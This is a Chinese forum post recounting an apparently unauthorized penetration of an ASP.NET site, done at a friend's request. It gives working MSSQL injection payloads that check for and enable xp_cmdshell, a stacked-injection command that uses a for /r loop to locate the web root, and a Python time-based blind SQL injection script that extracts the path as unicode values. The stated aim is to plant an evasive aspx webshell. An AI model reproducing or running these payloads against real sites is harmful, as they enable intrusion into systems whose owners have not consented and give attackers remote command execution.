标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3095] 作者: 州官 发表于: [2022-05-10]
本文共 [445] 位读者顶过
0x00 前言事情的起因是一位老哥叫我帮他打一个站点,于是就有了这篇文章 0x01 总体思路发现mssql注入->上cs->失败 通过mssql注入->拿数据->解密失败->进后台无望 最终想到了: xp_cmdshell->通过cmd中for循环找网站绝对路径->通过unicode编码读取中文->创建表存储unicode编码->读取出网站绝对路径->上网站马->getshell 0x02 渗透历程2022.4.15
首先拿到站点肯定是要进行目录扫描,这里也是成功的扫到了后台目录。因为站点是aspx的,所以特意在后台登录处尝试了一下sql注入,果然这里还是存在注入点的[出自:jiwo.org] if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'-- #判断是否开启xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; #开启xp_cmdshell
通过ping dnslog来判断是否开启成功,接收到信息说明开启了xp_cmdshell 正当我一筹莫展时,想到了可不可以上传一个aspx马子,aspx马我有免杀啊。但是想要通过aspx马getshell首先得知道网站路径。使劲往网站报错,都没有看到报错路径。没办法了,明天再来搞吧 2022.4.16
第二天的时候正好复习了一下linux基础命令,突然想到inux中有着find命令找文件得绝对路径,那么windows中是不是也有相应得命令。百度一下果然有,可以通过for循环来找文件得绝对路径 admin';insert into path(pathh) exec master..xp_cmdshell 'for /r "C:\" %i in (165009984088945243.bmp*) do @echo %i'waitfor delay '0:0:5';--
2022.4.17
昨晚睡觉得时候实在睡不着,想了一晚,终于给我想到了。既然网站有堆叠注入,那么我是否可以执行语句通过substring函数将路径中汉字的unincode编码保存到另外一个表中,然后我再单独读取这个表的数据,这样我就能拿到汉字得unicode编码。然后再解码一下就可以了 import requests import sys import time host="http://www.xxx.com/adminxxx/login.aspx" def write_Unicode(): global host proxies ={"http":"http://127.0.0.1:8888"} ans='' headers={ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" } for i in range(1,1000): print('guess'+str(i)) for ch in range(32,129): if ch==128: #sys.exit(0) username="admin';declare @a varchar(100);declare @b varchar(100);select @a=(select top 1 pathh from path);select @b=(select unicode(substring(@a,%d,1)));insert into Cn(unicode) values(@b)waitfor delay '0:0:2'--"%(i) data={'username':username,'password':'123456'} ans+='?' html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies) break #username="admin';if ascii(SUBSTRING((select top 1 pathh from path),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch) username="admin';if ascii(SUBSTRING((select top 1 unicode from Cn),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch) data={'username':username,'password':'123456'} print(username) try: html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies) #time.sleep(1) except: ans+=chr(ch) print("data ->"+ans) break #dumpData_En() write_Unicode()
成功跑到第一个中文字符的unicode编码 0x03 总结这次渗透经历之所以要记录一下,确实学到了姿势。通过for循环来找网站绝对路径,通过将路径写到表中来读取数据,通过unicode编码来读取中文。 |